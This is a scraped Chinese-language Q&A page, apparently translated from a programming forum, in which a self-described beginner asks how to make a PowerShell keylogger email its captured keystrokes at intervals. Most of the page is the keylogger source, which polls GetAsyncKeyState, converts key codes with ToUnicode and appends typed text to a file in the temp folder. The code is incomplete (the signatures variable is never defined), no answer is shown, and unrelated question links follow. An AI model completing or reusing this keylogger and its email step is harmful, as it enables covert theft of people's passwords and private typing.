powershell - 通过电子邮件发送键盘记录器日志
问题描述
我正在尝试创建一个 powershell 脚本,该脚本在 x 秒内发送一封包含记录数据的电子邮件。该脚本将在按下 CTRL+C 后发送数据(当然)。我正在尝试创建一个对我有帮助的循环。我知道如何创建一个脚本,它将向我发送记录在 txt 文件中的数据。我是学习任何脚本语言的新手。谢谢!
这是代码:
function Start-KeyLogger($Path="$env:temp\keylogger.txt")
# load signatures and make members available
$API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
# create output file
$null = New-Item -Path $Path -ItemType File -Force
try
{
Write-Host 'Recording key presses. Press CTRL+C to see results.' -ForegroundColor Red
$time = 0
while($time -lt 1000000) {
$time
$time++
Start-Sleep -Milliseconds 10
for ($ascii = 9; $ascii -le 254; $ascii++) {
# get current key state
$state = $API::GetAsyncKeyState($ascii)
if ($state -eq -32767) {
$null = [console]::CapsLock
# translate scan code to real code
$virtualKey = $API::MapVirtualKey($ascii, 3)
$kbstate = New-Object Byte[] 256
$checkkbstate = $API::GetKeyboardState($kbstate)
# prepare a StringBuilder to receive input key
$mychar = New-Object -TypeName System.Text.StringBuilder
$success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
if ($success)
{
[System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
}
}
}
}
}
finally
{
exit
}
解决方案
推荐阅读
- amazon-web-services - 如何将 S3 存储桶策略的公共访问更改为私有
- reactjs - 如何在一定时间后隐藏工具提示
- unix - 从 rsync 生成差异文件
- c++ - 当我从可用选项中选择减法时,为什么会得到一个奇怪的输出
- youtube-api - YouTube Data API 每天的最大查询配额减少到 0 并且不能设置任何数字
- java - 当页面需要登录时,如何用 Java 下载 HTML 源代码?
- python - python中的OpenCV boundingRect2f?
- javascript - 如何在javascript中从字符串创建数组
- excel - 如何使用 VBA 在 AutoCAD 中编写文本
- python - 使用 `plt.subplots()` 绘制 `sns.swarmplot` 时出现问题